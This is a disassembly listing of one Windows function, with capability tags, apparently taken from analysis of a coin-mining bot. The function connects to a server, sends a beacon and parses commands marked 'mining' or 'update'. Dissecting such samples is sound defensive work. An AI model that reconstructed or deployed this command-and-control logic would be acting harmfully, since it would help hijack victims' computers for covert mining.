Function at 0x40a880
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d4
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 0x3b0], edx
or edi, 0xffffffff
mov dword [ebp - 0x3ac], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40a8e0
push eax
push str.WSAStartup_failed_with_error:__d_n
call fcn.0040f62d
add esp, 8
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x3d0]
xorps xmm0, xmm0
push eax
push 0x42e444
movq qword [ebp - 0x3c8], xmm0
movq qword [ebp - 0x3d0], xmm0
push 0x4350e0
movq qword [ebp - 0x3c0], xmm0
movq qword [ebp - 0x3b8], xmm0
mov dword [ebp - 0x3cc], 2
mov dword [ebp - 0x3c8], 1
mov dword [ebp - 0x3c4], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x40a96a
push eax
push str.getaddrinfo_failed_with_error:__d_n
call fcn.0040f62d
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x3ac]
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x40a9bb
lea ebx, [ebx]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a9d9
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40a9b5
push edi
call ebx
mov esi, dword [esi + 0x1c]
or edi, 0xffffffff
test esi, esi
jne 0x40a980
mov esi, dword [ebp - 0x3ac]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
jne 0x40a9ea
push str.Unable_to_connect_to_server__n
call fcn.0040f62d
add esp, 4
jmp 0x40a951
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_failed_with_error:__ld_n
jmp 0x40a949
push 0
push 0xc
push dword [ebp - 0x3b0]
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40aa1c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.send_failed_with_error:__d_n
call fcn.0040f62d
add esp, 8
push edi
call ebx
jmp 0x40a951
push eax
push str.Bytes_Sent:__ld_n
call fcn.0040f62d
add esp, 8
push 1
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x40aa60
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.shutdown_failed_with_error:__d_n
call fcn.0040f62d
add esp, 8
push edi
call ebx
jmp 0x40a951
push 0
push 0x20a
lea eax, [ebp - 0x3a8]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x40aaaf
cmp byte [ebp - 0x3a7], 1
lea eax, [ebp - 0x3a6]
push eax
mov eax, str.mining
mov ecx, str.update
cmovne ecx, eax
movzx eax, byte [ebp - 0x3a8]
push ecx
push eax
push esi
push str.Bytes_received:__d_n__ntimeout:_d_naction:_s_ndata:_s_n__n
call fcn.0040f62d
add esp, 0x14
jmp 0x40aac5
je 0x40aacb
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.recv_failed_with_error:__d_n
call fcn.0040f62d
add esp, 8
test esi, esi
jg 0x40aa60
jmp 0x40aad8
push str.Connection_closed_n
call fcn.0040f62d
add esp, 4
push edi
call ebx
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret